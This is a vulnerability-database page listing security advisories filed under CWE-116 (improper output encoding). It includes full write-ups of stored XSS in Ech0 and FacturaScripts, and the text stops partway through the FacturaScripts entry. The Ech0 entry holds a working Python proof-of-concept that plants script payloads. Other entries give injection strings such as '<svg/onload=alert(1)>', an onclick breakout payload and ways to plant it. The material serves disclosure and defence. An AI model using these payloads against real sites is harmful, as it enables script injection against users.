Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

612 vulnerabilities reference this CWE, most recent first.

GHSA-3QXH-P7JC-5XH6

Vulnerability from github – Published: 2025-02-25 17:49 – Updated: 2025-02-25 17:49
VLAI
Summary
Solid Lacks Escaping of HTML in JSX Fragments allows for Cross-Site Scripting (XSS)
Details

Inserts/JSX expressions inside illegal inlined JSX fragments lacked escaping, allowing user input to be rendered as HTML when put directly inside JSX fragments.

For instance, ?text=<svg/onload=alert(1)> would trigger XSS here. ```js const [text] = createResource(() => { return new URL(getRequestEvent().request.url).searchParams.get("text"); });

return ( <> Text: {text()} </> ); ```

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "solid-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-25T17:49:40Z",
    "nvd_published_at": "2025-02-21T22:15:14Z",
    "severity": "HIGH"
  },
  "details": "Inserts/JSX expressions inside illegal inlined JSX fragments lacked escaping, allowing user input to be rendered as HTML when put directly inside JSX fragments.\n\nFor instance, `?text=\u003csvg/onload=alert(1)\u003e` would trigger XSS here.\n```js\n  const [text] = createResource(() =\u003e {\n    return new URL(getRequestEvent().request.url).searchParams.get(\"text\");\n  });\n\n  return (\n    \u003c\u003e\n      Text: {text()}\n    \u003c/\u003e\n  );\n  ```",
  "id": "GHSA-3qxh-p7jc-5xh6",
  "modified": "2025-02-25T17:49:40Z",
  "published": "2025-02-25T17:49:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/solidjs/solid/security/advisories/GHSA-3qxh-p7jc-5xh6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/solidjs/solid/commit/b93956f28ed75469af6976a98728e313d0edd236"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/solidjs/solid"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Solid Lacks Escaping of HTML in JSX Fragments allows for Cross-Site Scripting (XSS)"
}

GHSA-3V2C-X6Q9-F697

Vulnerability from github – Published: 2026-05-07 21:30 – Updated: 2026-05-08 15:31
VLAI
Details

If a trusted template author were to write a tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the block.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-39826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-07T20:16:43Z",
    "severity": "MODERATE"
  },
  "details": "If a trusted template author were to write a \u003cscript\u003e tag containing an empty \u0027type\u0027 attribute or a \u0027type\u0027 attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the \u003cscript\u003e block.",
  "id": "GHSA-3v2c-x6q9-f697",
  "modified": "2026-05-08T15:31:19Z",
  "published": "2026-05-07T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39826"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/771180"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/78981"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4980"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3V85-FQVH-7RXF

Vulnerability from github – Published: 2026-05-07 21:18 – Updated: 2026-05-07 21:18
VLAI
Summary
Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers
Details

Summary

The public RSS/Atom feed at /rss renders two attacker-controlled surfaces without HTML escaping. Tag names flow through fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) at internal/service/common/common.go:120, and the Markdown renderer at internal/util/md/md.go does not set the html.SkipHTML flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom <summary type="html"> is valid XML but contains executable <script> tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin.

Details

Tag sink at internal/service/common/common.go:120:

if len(msg.Tags) > 0 {
    for _, tag := range msg.Tags {
        renderedContent = fmt.Appendf(renderedContent,
            "<br /><span class=\"tag\">#%s</span>", tag.Name)
    }
}

fmt.Appendf with %s does not HTML-escape. Tag names come from user-supplied EchoUpsertDto.Tags and are persisted after strings.TrimSpace(strings.TrimPrefix(tag.Name, "#")) at internal/service/echo/echo.go:326, which strips a leading # and trims whitespace but does nothing about HTML metacharacters. A tag name of </span><script>document.title='RSS-XSS-HIT'</script><span>x breaks out of the surrounding <span> element and injects executable JavaScript into the RSS summary field.

Markdown sink at internal/util/md/md.go:

htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |
             html.NoopenerLinks | html.NoreferrerLinks
// html.SkipHTML is NOT set

The gomarkdown library passes raw HTML through when SkipHTML is not set. MdToHTML([]byte(msg.Content)) at internal/service/common/common.go:102 produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS summary field.

The RSS feed declares <summary type="html">, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.

Echo creation requires admin role (internal/service/echo/echo.go:54-56 checks user.IsAdmin). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.

Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.

Proof of Concept

Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches /rss and the decoded summary contains executable <script>:

import requests, xml.etree.ElementTree as ET, html
TARGET = "http://localhost:8300"

# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.
owner = requests.post(f"{TARGET}/api/login",
                      json={"username": "owner", "password": "owner-pw"}
                     ).json()["data"]["access_token"]

tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x"
md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text"

requests.post(f"{TARGET}/api/echos",
              headers={"Authorization": f"Bearer {owner}",
                       "content-type": "application/json"},
              json={"content": "echo with malicious tag",
                    "tags": [tag_payload]})

requests.post(f"{TARGET}/api/echos",
              headers={"Authorization": f"Bearer {owner}",
                       "content-type": "application/json"},
              json={"content": md_payload})

# Anyone fetches /rss anonymously.
feed = requests.get(f"{TARGET}/rss").text
root = ET.fromstring(feed)
ns = {"atom": "http://www.w3.org/2005/Atom"}
for entry in root.findall("atom:entry", ns):
    summary = entry.find("atom:summary", ns)
    decoded = html.unescape(summary.text or "")
    if "<script>" in decoded.lower():
        print(f"  *** EXECUTABLE <script> in decoded summary ***")
        print(f"    raw:     {(summary.text or '')[:200]!r}")
        print(f"    decoded: {decoded[:200]!r}")

Observed on v4.5.6:

*** EXECUTABLE <script> in decoded summary ***
  raw:     "<p><script>document.title=&lsquo;MD-XSS-HIT&rsquo;</script>normal text</p>\n"
  decoded: "<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\n"
*** EXECUTABLE <script> in decoded summary ***
  raw:     '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>'
  decoded: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>'

Two separate <script> tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes type="html" content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script.

Impact

A non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches:

  • Anonymous subscribers who follow the blog's RSS URL in their reader.
  • Registered non-admin users who may subscribe to the feed.
  • Other admins on the same instance.

Each subscriber whose reader renders type="html" content runs the attacker's script in the reader's origin. Depending on the reader, the payload:

  • Reads the reader's own UI tokens and exfiltrates them.
  • Makes authenticated requests to other feeds the reader polls (cross-feed data theft).
  • Plants phishing content that looks like a legitimate feed entry.

The class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches.

Recommended Fix

Two independent fixes, both needed.

Tag names: HTML-escape before interpolation.

for _, tag := range msg.Tags {
    renderedContent = fmt.Appendf(renderedContent,
        "<br /><span class=\"tag\">#%s</span>", html.EscapeString(tag.Name))
}

Markdown: add html.SkipHTML to the renderer flags so raw HTML in echo markdown is stripped.

htmlFlags := html.CommonFlags |
             html.Safelink |
             html.HrefTargetBlank |
             html.NoopenerLinks |
             html.NoreferrerLinks |
             html.SkipHTML

Validate tag names at creation time too. A central validator in EchoService.Create that rejects tags containing <, >, or " removes the attacker payload before it reaches the DB:

for _, name := range newEcho.Tags {
    if strings.ContainsAny(name, "<>\"'&") {
        return errors.New(commonModel.INVALID_TAG_NAME)
    }
}

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/Ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260503035519-fd320fe3e902"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:18:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, \"\u003cbr /\u003e\u003cspan class=\\\"tag\\\"\u003e#%s\u003c/span\u003e\", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `\u003csummary type=\"html\"\u003e` is valid XML but contains executable `\u003cscript\u003e` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader\u0027s origin.\n\n## Details\n\nTag sink at `internal/service/common/common.go:120`:\n\n```go\nif len(msg.Tags) \u003e 0 {\n    for _, tag := range msg.Tags {\n        renderedContent = fmt.Appendf(renderedContent,\n            \"\u003cbr /\u003e\u003cspan class=\\\"tag\\\"\u003e#%s\u003c/span\u003e\", tag.Name)\n    }\n}\n```\n\n`fmt.Appendf` with `%s` does not HTML-escape. Tag names come from user-supplied `EchoUpsertDto.Tags` and are persisted after `strings.TrimSpace(strings.TrimPrefix(tag.Name, \"#\"))` at `internal/service/echo/echo.go:326`, which strips a leading `#` and trims whitespace but does nothing about HTML metacharacters. A tag name of `\u003c/span\u003e\u003cscript\u003edocument.title=\u0027RSS-XSS-HIT\u0027\u003c/script\u003e\u003cspan\u003ex` breaks out of the surrounding `\u003cspan\u003e` element and injects executable JavaScript into the RSS `summary` field.\n\nMarkdown sink at `internal/util/md/md.go`:\n\n```go\nhtmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |\n             html.NoopenerLinks | html.NoreferrerLinks\n// html.SkipHTML is NOT set\n```\n\nThe `gomarkdown` library passes raw HTML through when `SkipHTML` is not set. `MdToHTML([]byte(msg.Content))` at `internal/service/common/common.go:102` produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS `summary` field.\n\nThe RSS feed declares `\u003csummary type=\"html\"\u003e`, which per Atom RFC 4287 \u00a73.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.\n\nEcho creation requires admin role (`internal/service/echo/echo.go:54-56` checks `user.IsAdmin`). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.\n\nPrior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same \"admin creates content\" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.\n\n## Proof of Concept\n\nDefault install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches `/rss` and the decoded summary contains executable `\u003cscript\u003e`:\n\n```python\nimport requests, xml.etree.ElementTree as ET, html\nTARGET = \"http://localhost:8300\"\n\n# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.\nowner = requests.post(f\"{TARGET}/api/login\",\n                      json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n                     ).json()[\"data\"][\"access_token\"]\n\ntag_payload = \"\u003c/span\u003e\u003cscript\u003edocument.title=\u0027RSS-XSS-HIT\u0027\u003c/script\u003e\u003cspan\u003ex\"\nmd_payload = \"\u003cscript\u003edocument.title=\u0027MD-XSS-HIT\u0027\u003c/script\u003enormal text\"\n\nrequests.post(f\"{TARGET}/api/echos\",\n              headers={\"Authorization\": f\"Bearer {owner}\",\n                       \"content-type\": \"application/json\"},\n              json={\"content\": \"echo with malicious tag\",\n                    \"tags\": [tag_payload]})\n\nrequests.post(f\"{TARGET}/api/echos\",\n              headers={\"Authorization\": f\"Bearer {owner}\",\n                       \"content-type\": \"application/json\"},\n              json={\"content\": md_payload})\n\n# Anyone fetches /rss anonymously.\nfeed = requests.get(f\"{TARGET}/rss\").text\nroot = ET.fromstring(feed)\nns = {\"atom\": \"http://www.w3.org/2005/Atom\"}\nfor entry in root.findall(\"atom:entry\", ns):\n    summary = entry.find(\"atom:summary\", ns)\n    decoded = html.unescape(summary.text or \"\")\n    if \"\u003cscript\u003e\" in decoded.lower():\n        print(f\"  *** EXECUTABLE \u003cscript\u003e in decoded summary ***\")\n        print(f\"    raw:     {(summary.text or \u0027\u0027)[:200]!r}\")\n        print(f\"    decoded: {decoded[:200]!r}\")\n```\n\nObserved on v4.5.6:\n\n```\n*** EXECUTABLE \u003cscript\u003e in decoded summary ***\n  raw:     \"\u003cp\u003e\u003cscript\u003edocument.title=\u0026lsquo;MD-XSS-HIT\u0026rsquo;\u003c/script\u003enormal text\u003c/p\u003e\\n\"\n  decoded: \"\u003cp\u003e\u003cscript\u003edocument.title=\u0027MD-XSS-HIT\u0027\u003c/script\u003enormal text\u003c/p\u003e\\n\"\n*** EXECUTABLE \u003cscript\u003e in decoded summary ***\n  raw:     \u0027\u003cp\u003eecho with malicious tag\u003c/p\u003e\\n\u003cbr /\u003e\u003cspan class=\"tag\"\u003e#\u003c/span\u003e\u003cscript\u003edocument.title=\\\u0027RSS-XSS-HIT\\\u0027\u003c/script\u003e\u003cspan\u003ex\u003c/span\u003e\u0027\n  decoded: \u0027\u003cp\u003eecho with malicious tag\u003c/p\u003e\\n\u003cbr /\u003e\u003cspan class=\"tag\"\u003e#\u003c/span\u003e\u003cscript\u003edocument.title=\\\u0027RSS-XSS-HIT\\\u0027\u003c/script\u003e\u003cspan\u003ex\u003c/span\u003e\u0027\n```\n\nTwo separate `\u003cscript\u003e` tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes `type=\"html\"` content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS\u0027s default settings, and in several desktop readers) executes the script.\n\n## Impact\n\nA non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches:\n\n- **Anonymous subscribers** who follow the blog\u0027s RSS URL in their reader.\n- **Registered non-admin users** who may subscribe to the feed.\n- **Other admins** on the same instance.\n\nEach subscriber whose reader renders `type=\"html\"` content runs the attacker\u0027s script in the reader\u0027s origin. Depending on the reader, the payload:\n\n- Reads the reader\u0027s own UI tokens and exfiltrates them.\n- Makes authenticated requests to other feeds the reader polls (cross-feed data theft).\n- Plants phishing content that looks like a legitimate feed entry.\n\nThe class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches.\n\n## Recommended Fix\n\nTwo independent fixes, both needed.\n\nTag names: HTML-escape before interpolation.\n\n```go\nfor _, tag := range msg.Tags {\n    renderedContent = fmt.Appendf(renderedContent,\n        \"\u003cbr /\u003e\u003cspan class=\\\"tag\\\"\u003e#%s\u003c/span\u003e\", html.EscapeString(tag.Name))\n}\n```\n\nMarkdown: add `html.SkipHTML` to the renderer flags so raw HTML in echo markdown is stripped.\n\n```go\nhtmlFlags := html.CommonFlags |\n             html.Safelink |\n             html.HrefTargetBlank |\n             html.NoopenerLinks |\n             html.NoreferrerLinks |\n             html.SkipHTML\n```\n\nValidate tag names at creation time too. A central validator in `EchoService.Create` that rejects tags containing `\u003c`, `\u003e`, or `\"` removes the attacker payload before it reaches the DB:\n\n```go\nfor _, name := range newEcho.Tags {\n    if strings.ContainsAny(name, \"\u003c\u003e\\\"\u0027\u0026\") {\n        return errors.New(commonModel.INVALID_TAG_NAME)\n    }\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-3v85-fqvh-7rxf",
  "modified": "2026-05-07T21:18:27Z",
  "published": "2026-05-07T21:18:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-3v85-fqvh-7rxf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/fd320fe3e9021c8d8d284fb274775c018690520e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0\u0027s RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers"
}

GHSA-3V8M-HGX9-FGH9

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2023-10-11 12:30
VLAI
Details

An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-31806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-27T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing.",
  "id": "GHSA-3v8m-hgx9-fgh9",
  "modified": "2023-10-11T12:30:26Z",
  "published": "2022-05-24T19:03:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/squid-cache/squid/security/advisories/GHSA-pxwq-f3qr-w2xf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31806"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LSQ3U54ZCNXR44QRPW3AV2VCS6K3TKCF"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4EPIWUZDJAXADDHVOPKRBTQHPBR6H66"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210716-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4924"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/14"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/10/11/3"
    },
    {
      "type": "WEB",
      "url": "http://www.squid-cache.org/Versions/v4/changesets/squid-4-e7cf864f938f24eea8af0692c04d16790983c823.patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3VFP-93WV-3CF2

Vulnerability from github – Published: 2025-11-18 09:30 – Updated: 2025-11-18 09:30
VLAI
Details

A logic error vulnerability exists in Serv-U which when abused could give a malicious actor with access to admin privileges the ability to execute code.

This issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-40547"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-18T09:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "A logic error vulnerability exists in Serv-U which when abused could give a malicious actor with access to admin privileges the ability to execute code. \n\nThis issue requires administrative privileges to abuse. On Windows deployments, the risk is scored as a medium because services frequently run under less-privileged service accounts by default.",
  "id": "GHSA-3vfp-93wv-3cf2",
  "modified": "2025-11-18T09:30:52Z",
  "published": "2025-11-18T09:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40547"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/servu/content/release_notes/servu_15-5-3_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40547"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WXF-8H2Q-7RQJ

Vulnerability from github – Published: 2024-01-16 09:30 – Updated: 2024-10-23 18:33
VLAI
Details

Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-52098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T09:15:07Z",
    "severity": "HIGH"
  },
  "details": "Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability.",
  "id": "GHSA-3wxf-8h2q-7rqj",
  "modified": "2024-10-23T18:33:06Z",
  "published": "2024-01-16T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52098"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2024/1"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3X7P-V8HJ-XH5M

Vulnerability from github – Published: 2026-07-14 17:30 – Updated: 2026-07-14 17:30
VLAI
Summary
FacturaScripts: Stored XSS in WidgetVariante and WidgetSubcuenta modal lists via HTML-attribute decoding of `Tools::noHtml`-escaped quotes inside `onclick=`
Details

Summary

WidgetVariante::renderVariantList (Core/Lib/Widget/WidgetVariante.php:298-330) and WidgetSubcuenta::renderSubaccountList (Core/Lib/Widget/WidgetSubcuenta.php:290-321) build the <tr onclick="..."> row for each modal hit by concatenating the user-controlled referencia / codsubcuenta field directly into a single-quoted JavaScript string literal inside an HTML onclick attribute. The defender's intuition is that Tools::noHtml (called in Variante::test() and Subcuenta::test()) replaces ' with the HTML entity &#39;, neutralising the JavaScript string break. The intuition is wrong: HTML attribute parsing decodes character references before the JavaScript fragment is parsed, so &#39; becomes a literal ' in the JavaScript context. An attacker who can store a value such as 1',alert(1),'2 in Variante.referencia (no special characters required, just one apostrophe) ends up with widgetVarianteSelect('id', '1',alert(1),'2'); executing in any user's browser the moment they open the variant-picker modal.

The recent 40bc701 and 8586b97 fixes corrected the same anti-pattern in three sister classes by switching to data-reference="..." + this.dataset.reference. The two widget classes audited here were missed by that fix wave.

Details

the offending code

Core/Lib/Widget/WidgetVariante.php:298-330:

protected function renderVariantList(): string
{
    $items = [];
    foreach ($this->variantes() as $item) {
        $match = $item->{$this->match};
        $description = Tools::textBreak($item->description(), 300);
        ...
        $items[] = '<tr class="clickableRow" onclick="widgetVarianteSelect(\'' . $this->id . '\', \'' . $match . '\');">'
            . '<td class="text-center">'
            ...

$this->match defaults to 'referencia' (WidgetVariante::__construct, line 42). $item->referencia was sanitised at write time by Variante::test() (Core/Model/Variante.php:392) which calls Tools::noHtml($this->referencia). Tools::noHtml (Core/Tools.php:499-504) replaces ', ", <, > with &#39;, &quot;, &lt;, &gt;. The defender therefore expects that any apostrophe a user typed becomes &#39; in the database, which renders inside the onclick attribute as &#39; and cannot break out of the surrounding '...' JS string literal.

Core/Lib/Widget/WidgetSubcuenta.php:290-305 has the identical shape:

foreach ($this->subcuentas() as $item) {
    $match = $item->{$this->match};
    ...
    $items[] = '<tr class="clickableRow" onclick="widgetSubaccountSelect(\'' . $this->id . '\', \'' . $match . '\');">'
        . '<td class="text-center">'
        . '<a href="' . $item->url() . '" target="_blank" onclick="event.stopPropagation();">'
        ...

$this->match defaults to 'codsubcuenta'; the value is Tools::noHtml-encoded by Subcuenta::test() (Core/Model/Subcuenta.php:213).

why HTML-entity escaping does not protect a JavaScript string

Per the HTML5 spec (and what every browser actually does), the value of an HTML attribute is processed by the character reference state of the tokenizer before any consumer sees it. By the time the onclick attribute value reaches the script engine, the bytes inside are the decoded string. Concretely, the HTML the browser receives is:

<tr onclick="widgetVarianteSelect('id', '1&#39;,alert(1),&#39;2');">

After the tokenizer decodes &#39; to ', the JavaScript fragment passed to the script engine is:

widgetVarianteSelect('id', '1',alert(1),'2');

alert(1) runs as a third positional argument that JavaScript happily evaluates while building the call. The widgetVarianteSelect function ends up being called with four arguments and the side-effect of alert(1) (or any payload) has already occurred.

The recent 40bc701 AccountingModalHTML and 8586b97 SalesModalHTML / PurchasesModalHTML fix recognised this. Both replaced the onclick="...('"+ value +"')" pattern with:

$tbody .= '<tr ... data-subaccount="' . $code . '" onclick="$(...).modal(\'hide\');'
       . ' return newLineAction(this.dataset.subaccount);">'

Where $code = static::html($subaccount->codsubcuenta) and static::html is htmlspecialchars(html_entity_decode($text, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'). The HTML5 entity decode is deliberate: it normalises any double-encoded data so that the subsequent htmlspecialchars produces stable single-encoded output. The JavaScript then reads the value from this.dataset.*, which is the post-decoded attribute value, where the original quote is now literally inside a string property and cannot break out of any quote context.

WidgetSubcuenta and WidgetVariante were not migrated to this pattern.

ways to plant the payload

Variante::test() (Core/Model/Variante.php:389-401) accepts up to 30 characters in referencia. The minimum payload is 13 bytes (1',alert(1),'2), comfortably under the limit. The Tools::noHtml pass during test() produces the stored form 1&#39;,alert(1),&#39;2, which is 22 bytes.

Three plant primitives are practical:

  1. Direct create via EditProducto?action=save with the attacker-controlled referencia field. Because EditProducto is exposed to any user with the EditProducto permission (which roles like sales agent and warehouse manager commonly carry), this is a within-tenant primitive: a low-privilege salesperson plants the payload, an admin opens any sales document and clicks the variant picker.
  2. DB write by anyone with raw SQL access (DBA or shared-hosting admin). INSERT INTO variantes (referencia, ...) VALUES ('1\',alert(1),\'2', ...). This is what I used for the live test; the plant is permanent until the row is deleted.
  3. Plugin / API import. ApiAttachedFiles and the various import endpoints allow a low-privilege API key to land arbitrary referencia values that bypass the EditProducto permissions->onlyOwnerData filter.

For WidgetSubcuenta, the codsubcuenta field is constrained to the exercise's longsubcuenta length (10 by default), and the regex-free Tools::noHtml pass turns one apostrophe into 5 bytes (&#39;), so the post-noHtml string must equal the configured length exactly. A 5-byte payload (1',' is 4) plus padding is workable for compact bypass payloads such as '+x+' (where x is a previously-loaded global). DB-write planting (primitive 2) bypasses the length check entirely.

why the recent fix wave missed this

